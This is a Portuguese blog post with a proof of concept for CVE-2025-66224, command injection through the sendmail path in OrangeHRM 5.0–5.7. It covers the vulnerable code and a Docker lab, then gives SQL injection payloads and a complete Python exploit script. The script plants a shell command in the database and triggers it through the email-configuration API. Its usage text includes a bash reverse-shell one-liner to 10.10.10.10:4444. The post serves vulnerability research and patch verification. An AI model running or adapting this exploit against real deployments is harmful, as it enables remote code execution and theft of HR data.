CVE-2025-66224: escrita de arquivo no OrangeHRM (PoC)
PoC da CVE-2025-66224: entrada não higienizada no fluxo de e-mail do OrangeHRM 5.0 a 5.7 chega ao comando sendmail e permite escrever arquivos no servidor.
Descrição
O OrangeHRM é um sistema abrangente de gestão de recursos humanos (RH). Da versão 5.0 à 5.7, o aplicativo apresentava uma falha de neutralização de entrada em seu fluxo de trabalho de configuração e entrega de e-mails, que permitia que valores controlados pelo usuário fossem inseridos diretamente no comando sendmail do sistema. Como esses valores não eram higienizados ou restringidos antes de serem incorporados ao caminho de execução do comando, certos comportamentos do sendmail podiam ser invocados involuntariamente durante o processamento de e-mails. Isso possibilitava que o aplicativo gravasse arquivos no servidor como parte da rotina de tratamento de e-mails e, em implantações onde esses arquivos acabam em locais acessíveis pela web, o comportamento podia ser explorado para executar conteúdo controlado por um atacante. O problema decorre inteiramente da construção de strings de comando em nível de sistema operacional usando entradas não higienizadas na lógica de envio de e-mails. Essa falha foi corrigida na versão 5.8.
Análises
1. EmailService.php - Ponto de Injeção
O código vulnerável principal está no método getTransport() da classe EmailService EmailService.php :
1
2
3
4
5
6
} elseif ($this->getEmailConfig()->getMailType() == MailTransport::SCHEME_SENDMAIL) {
$transport = new MailTransport(
$this->getEmailConfig()->getMailType(),
$this->getConfigService()->getSendmailPath() // ← VULNERABILIDADE: uso direto sem sanitização
);
}
2. ConfigService.php - Armazenamento da Chave
A constante que define a chave de configuração e método que obtém o valor ConfigService.php :
1
public const KEY_SENDMAIL_PATH = 'email_config.sendmail_path';
Método que retorna o valor do banco de dados sem validação ConfigService.php:
1
2
3
public function getSendmailPath(): ?string {
return $this->_getConfigValue(self::KEY_SENDMAIL_PATH);
}
3. ViewEmailConfigurationController.php - Uso do Valor
O controller que obtém e exibe o caminho do sendmail ViewEmailConfigurationController.php:
1
2
3
$pathToSendmail = $this->getConfigService()->getSendmailPath();
$component = new Component('email-configuration-view');
$component->addProp(new Prop('path-to-sendmail', Prop::TYPE_STRING, $pathToSendmail));
4. EmailService.php - Carregamento da Configuração
No construtor, a configuração é carregada diretamente do banco EmailService.php:
1
2
3
4
5
protected function loadConfiguration(): void {
$emailConfig = $this->getEmailConfigurationService()->getEmailConfigurationDao()->getEmailConfiguration();
$this->setEmailConfig($emailConfig);
$this->setSendmailPath($this->getConfigService()->getSendmailPath()); // ← Carregamento direto
}
Fluxo da Vulnerabilidade
O valor é armazenado no banco de dados na tabela hs_hr_config com chave email_config.sendmail_path
ConfigService::getSendmailPath()obtém o valor diretamente do bancoEmailService::loadConfiguration()carrega este valor sem sanitizaçãoEmailService::getTransport()passa o valor diretamente paraMailTransportMailTransportexecuta o comando no shell sem qualquer validação
A vulnerabilidade ocorre porque em nenhum ponto há sanitização do valor do sendmail antes de sua execução como comando do sistema operacional.
Criando um Ambiente de Testes
Estarei utilizando o Docker Compose para montar o ambiente de testes, segue abaixo as configurações:
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
version: '3.8'
services:
orangehrm-db:
image: mysql:8.0
container_name: orangehrm-db
# O comando abaixo desativa o ONLY_FULL_GROUP_BY e mantém a senha nativa
command: >
--default-authentication-plugin=mysql_native_password
--sql-mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"
restart: always
environment:
MYSQL_DATABASE: orangehrm
MYSQL_USER: orange_user
MYSQL_PASSWORD: orange_password
MYSQL_ROOT_PASSWORD: root_password
volumes:
- db_data:/var/lib/mysql
networks:
- orangehrm-network
orangehrm-app:
build: .
container_name: orangehrm-app
restart: always
ports:
- "8080:80"
environment:
- ORANGEHRM_DB_HOST=orangehrm-db
- ORANGEHRM_DB_NAME=orangehrm
- ORANGEHRM_DB_USER=orange_user
- ORANGEHRM_DB_PASSWORD=orange_password
depends_on:
- orangehrm-db
networks:
- orangehrm-network
networks:
orangehrm-network:
driver: bridge
volumes:
db_data:
Dockerfile
1
2
3
4
5
FROM orangehrm/orangehrm:5.6
RUN apt-get update && \
apt-get install -y ssmtp && \
ln -sf /usr/sbin/ssmtp /usr/sbin/sendmail && \
rm -rf /var/lib/apt/lists/*
Após a configuração, é só rodar o docker compose up -d --build e iniciar a instalação do software no http://127.0.0.1:8080/.
Replicando a Falha na Mão
Pontos Importantes
Para que essa CVE funcione, precisamos de três coisas importantes:
1 - Precisamos de um usuário admin na aplicação;
2 - Precisamos ter acesso ao Database da aplicação;
3 - Precisamos possuir permissão de escrita no Database;
Com esses três pontos conseguimos realizar com sucesso esse ataque.
Inserindo o Payload no Database
Primeiro precisamos localizar a chave email_config.sendmail_path dentro do Database. Em uma instalação do zero, ele fica em: orangehrm -> hs_hr_config -> email_config.sendmail_path
Alterando esse valor, conseguimos inserir qualquer comando shell diretamente nele com o próprio SQL: UPDATE hs_hr_config SET value = '/usr/sbin/sendmail -bs && echo "pwned" > /tmp/pwned' WHERE name = 'email_config.sendmail_path';
Triggando o Payload
Para triggar o payload que inserimos anteriormente, precisamos logar na aplicação com um usuário admin, navegar até a sessão “admin” -> “configuration” -> “email configuration”.
Após isso, ativaremos o bullet point “Sendmail”, preencheremos o campo “Mail Sent As”, ativaremos o “Send Test Mail” e por fim, preencheremos também o campo “Test Email Address” e após isso, clicaremos em “Save”.
O Servidor deve responder com um status code 200:
E ao olharmos dentro do Docker, vemos que o payload funcionou com sucesso:
Porém ele venho com alguns lixos no meio do output.
Limpando o Lixo do Payload
Para resolver isso é bem simples, só precisamos alterar o final do payload anterior adicionando um # no final:
UPDATE hs_hr_config SET value = '/usr/sbin/sendmail -bs && echo "pwned" > /tmp/pwned #' WHERE name = 'email_config.sendmail_path';
Com isso, o payload ja executa perfeitamente:
PoC Automatizada
Escrevi um script python jutamente com o Claude AI para automatizar esse processo chato. Estarei anexando o código tanto aqui quanto no meu Github.
OBS: O AUTOR DESSE POST NÃO SE RESPONSABILIZA POR QUAISQUER USOS INDEVIDOS DESSE SCRIPT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
import requests
import argparse
import sys
import mysql.connector
from mysql.connector import Error
import json
BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@ @@ @@@@@@@ . @@@@@@@ #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@ @@@@ @@@@@ @@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@ @@@@@@@@@ @@@ %@@@@:*@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ @@@@@@@ @@@ @@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@ @@@@@@ @@@@ .@@@@@@@@ @@@ .@@@@@@@ @@@@ @ @@@@@@@@@@@@@@@ @@@@@@@
@@@@@ @@@@@@ @@@@-. @@@@@@@ . @@@@@ @@@@@@@@ *@@@ @@@@ . @@@@@
@@@@. @@@@@ @@@@@ @@@@@@@@@@ @@@@ @@@@@@@@@ @ -- @@@@ .@ @@@@
@@@@ @@@@@@ @@@@@@ @@@@@@@@@@ . . @@@@@@@@@ @@@@@@@@@@@@@ @ @@@@@
@@@@ @@@@@@ @@@@@ .@@@@@@@@@@@*@@@@@ @%@@@@@@@@@@@@@ *@@@@ @ @ @ @@@@@
@@@@- @@@@@@ @@@@ @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ . @@@@@@ @@= @@@@@@
@@@@@ @@@@@@ @ @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@ .@@@@@ @@@@@@@@@@@ @@@@@@@
@@@@@@ @@@@@@ @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@ @@@ @@@@@@@@@@ .@@@@@@@@
@@@@@@- @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@
@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@= @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@ @ @ @@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@ .@@@@@@@@ @@@@@@@@@@@
@@@@@@@ : @@@@@- .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@ @@# @@@@@@@@ @@@@@@@@@
@@@@@@@ @@@@ @@@@@@+@@@@@@@@@@@@ @@@@ @@@@@@@@@@ -@@@@@@
@@@@@@ @ . @@ @@@@@# .@@@@@@@@@@@@ @@@@@@@%@@@@ . @@@@@
@@@@@@ . @@@@@@% . *@@@@@@@ @@@ @@@@
@@@@@@ @@@ @ @ @ #@@@@@@@@@@@@@@@@@@ @ @@ @@@
@@@@@@ . . @ @ *@@@@@@@@@@@@@@@@@ @ @@
@@@@@@ @ @ @@@@ @ % @ @@@@@@@@@@ @@@@@%++#@@@@ :@@
@@@@@@@ @@@@@ @@ . . @ @ . @ . @@@@
@@@@@@@@@@@@@@@@@. @ @@@ @@@ @ @@ @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ . @@@@@@@ .@ = @@@@@ . :@ +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ . @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for OrangeHRM CVE-2025-66224 @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""
def normalizeUrl(url: str) -> str:
if not (url.startswith("http://") or url.startswith("https://")):
url = "http://" + url
return url.rstrip("/")
def createSessionFromCookie(base_url: str, cookie_value: str, cookie_name: str = "_orangehrm"):
session = requests.Session()
session.cookies.set(cookie_name, cookie_value)
print(f"[*] Cookie set: {cookie_name}={cookie_value}")
print(f"[*] Validating session...")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
dashboard_url = f"{base_url}/web/index.php/dashboard/index"
test = session.get(dashboard_url, headers=headers, allow_redirects=True)
print(f"[*] Status Code: {test.status_code}")
print(f"[*] Final URL: {test.url}")
if 'login' in test.url.lower():
print("[-] Invalid or expired cookie! Redirected to login.")
return None
if test.status_code == 200:
print("[+] Valid session! Dashboard access confirmed.")
return session
print("[-] Could not validate session.")
return None
def findAndUpdateSendmailPath(db_host, db_user, db_pass, payload, db_port=3306):
print(f"\n[*] Connecting to MySQL...")
print(f"[*] Host: {db_host}:{db_port}")
print(f"[*] User: {db_user}")
try:
connection = mysql.connector.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
connect_timeout=5
)
if connection.is_connected():
print(f"[+] Connected to MySQL successfully!")
cursor = connection.cursor()
cursor.execute("SHOW DATABASES")
databases = cursor.fetchall()
print(f"\n[*] Looking for table 'hs_hr_config'...")
found = False
for db in databases:
db_name = db[0]
if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
continue
try:
cursor.execute(f"USE {db_name}")
cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
result = cursor.fetchone()
if result:
print(f"[+] Table 'hs_hr_config' found in database '{db_name}'!")
cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
row = cursor.fetchone()
if row:
print(f"\n[+] Current configuration found:")
print(f" Name: {row[0]}")
print(f" Value: {row[1]}")
new_value = f"/usr/sbin/sendmail -bs && {payload} #"
print(f"\n[*] New value will be:")
print(f" {new_value}")
print(f"\n[!] WARNING: This will MODIFY the database!")
confirm = input("[?] Do you want to continue? (yes/no): ")
if confirm.lower() == 'yes':
update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
cursor.execute(update_query, (new_value,))
connection.commit()
print(f"\n[+] Value updated successfully!")
cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
updated_row = cursor.fetchone()
print(f"[+] Updated value:")
print(f" {updated_row[1]}")
found = True
else:
print(f"[-] Operation cancelled by user")
found = True
else:
print(f"[-] Configuration 'email_config.sendmail_path' not found")
break
except Error as e:
print(f"[-] Error accessing database '{db_name}': {e}")
continue
if not found:
print(f"\n[-] Table 'hs_hr_config' or configuration not found")
cursor.close()
connection.close()
print(f"\n[+] MySQL connection closed")
return found
except Error as e:
print(f"[-] Error connecting to MySQL: {e}")
print(f"\n[!] Troubleshooting tips:")
print(f" 1. Check if MySQL is running")
print(f" 2. If using Docker, the host might be the container name")
print(f" Example: -dh orangehrm_mysql or -dh mysql")
print(f" 3. Check the port with: docker ps | grep mysql")
print(f" 4. If port is mapped, use: -dport PORT")
print(f" 5. Try to find MySQL container IP:")
print(f" docker inspect <container_name> | grep IPAddress")
return False
def restoreSendmailPath(db_host, db_user, db_pass, db_port=3306):
print(f"\n[*] Restoring original sendmail_path value...")
try:
connection = mysql.connector.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
connect_timeout=5
)
if connection.is_connected():
cursor = connection.cursor()
cursor.execute("SHOW DATABASES")
databases = cursor.fetchall()
for db in databases:
db_name = db[0]
if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
continue
try:
cursor.execute(f"USE {db_name}")
cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
result = cursor.fetchone()
if result:
original_value = "/usr/sbin/sendmail -bs"
update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
cursor.execute(update_query, (original_value,))
connection.commit()
print(f"[+] Value restored to: {original_value}")
cursor.close()
connection.close()
return True
except Error as e:
continue
cursor.close()
connection.close()
except Error as e:
print(f"[-] Error restoring: {e}")
return False
return False
def exploit(session, base_url, command, db_host=None, db_user=None, db_pass=None, db_port=3306):
print(f"\n[*] Starting exploitation...")
if db_host and db_user and db_pass and command:
print(f"[*] Injecting payload into sendmail_path via MySQL...")
success = findAndUpdateSendmailPath(db_host, db_user, db_pass, command, db_port)
if not success:
print(f"[-] Failed to inject payload into database")
return False
else:
print(f"[!] MySQL credentials or command not provided!")
print(f"[!] Use: -dh HOST -du USER -dp PASS -cmd 'your_command'")
return False
print(f"\n[*] Triggering payload execution...")
email_config_url = f"{base_url}/web/index.php/api/v2/admin/email-configuration"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
'Origin': base_url,
'Referer': f"{base_url}/web/index.php/admin/listMailConfiguration",
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'
}
payload = {
"mailType": "sendmail",
"sentAs": "exploit@email.com",
"smtpHost": None,
"smtpPort": None,
"smtpUsername": "admin",
"smtpPassword": None,
"smtpAuthType": "login",
"smtpSecurityType": "none",
"testEmailAddress": "trigger@email.com"
}
print(f"[*] Sending trigger request to: {email_config_url}")
try:
response = session.put(email_config_url, json=payload, headers=headers)
print(f"[+] Status Code: {response.status_code}")
try:
response_json = response.json()
print(f"[+] Response:")
print(json.dumps(response_json, indent=2))
except:
print(f"[+] Response Text:")
print(response.text[:500])
if response.status_code == 200:
print(f"\n[+] Payload triggered! Command should have been executed.")
print(f"\n[*] Cleaning up - restoring original value...")
restore_success = restoreSendmailPath(db_host, db_user, db_pass, db_port)
if restore_success:
print(f"[+] Database value restored successfully!")
else:
print(f"[-] Could not restore value automatically")
print(f"[!] Restore manually to: /usr/sbin/sendmail -bs")
print(f"\n[+] Exploit completed! Check if command was executed.")
return True
else:
print(f"\n[-] Failed to trigger. Status: {response.status_code}")
print(f"\n[*] Attempting to restore database value anyway...")
restoreSendmailPath(db_host, db_user, db_pass, db_port)
return False
except Exception as e:
print(f"[-] Error during trigger: {str(e)}")
return False
parser = argparse.ArgumentParser(
prog="orangehrm_exploit.py",
description=BANNER,
epilog="USAGE: python3 script.py -t http://host.com -c 'cookie_value' -dh 127.0.0.1 -du user -dp pass -cmd 'whoami'",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-c", "--cookie", required=True, help="Session cookie value")
parser.add_argument("-cn", "--cookie_name", default="_orangehrm", help="Cookie name (default: _orangehrm)")
parser.add_argument("-cmd", "--command", required=False, help="Command to execute")
parser.add_argument("-dh", "--db_host", required=False, help="MySQL host (e.g., 127.0.0.1)")
parser.add_argument("-du", "--db_user", required=False, help="MySQL username")
parser.add_argument("-dp", "--db_pass", required=False, help="MySQL password")
parser.add_argument("-dport", "--db_port", type=int, default=3306, help="MySQL port (default: 3306)")
args = parser.parse_args()
if __name__ == "__main__":
print(BANNER)
auth_session = createSessionFromCookie(args.target, args.cookie, args.cookie_name)
if auth_session:
print("\n[+] Session authenticated and validated successfully!")
if args.command:
exploit(
auth_session,
args.target,
args.command,
args.db_host,
args.db_user,
args.db_pass,
args.db_port
)
else:
print("\n[!] No command specified. Use -cmd to execute commands.")
print("[+] Session available for manual use")
print(f"\n[+] Full usage example:")
print(f" python3 script.py -t {args.target} -c {args.cookie} \\")
print(f" -dh 127.0.0.1 -du root -dp password \\")
print(f" -cmd 'bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"'")
else:
print("\n[-] Could not establish a valid session")
print("[!] Tip: Get the cookie from browser after logging in manually")
sys.exit(1)
Referencias
- NVD - CVE-2025-66224
[CVE-2025-66224 — Orangehrm dbugs](https://dbugs.ptsecurity.com/vulnerability/PT-2025-48365)










